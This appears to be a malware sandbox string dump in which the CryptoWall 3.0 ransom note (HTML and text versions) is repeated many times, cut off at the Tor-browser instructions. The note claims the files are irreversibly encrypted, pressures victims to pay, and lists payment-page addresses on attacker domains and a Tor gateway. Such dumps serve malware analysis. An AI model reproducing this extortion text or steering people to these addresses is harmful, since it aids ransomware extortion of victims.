Source: restore_files_gpmus.html232.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt46.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt179.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt117.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html45.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html291.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt203.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html305.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html114.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt345.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt208.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html52.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html188.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html243.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html126.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt246.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html167.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt326.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html79.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html285.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
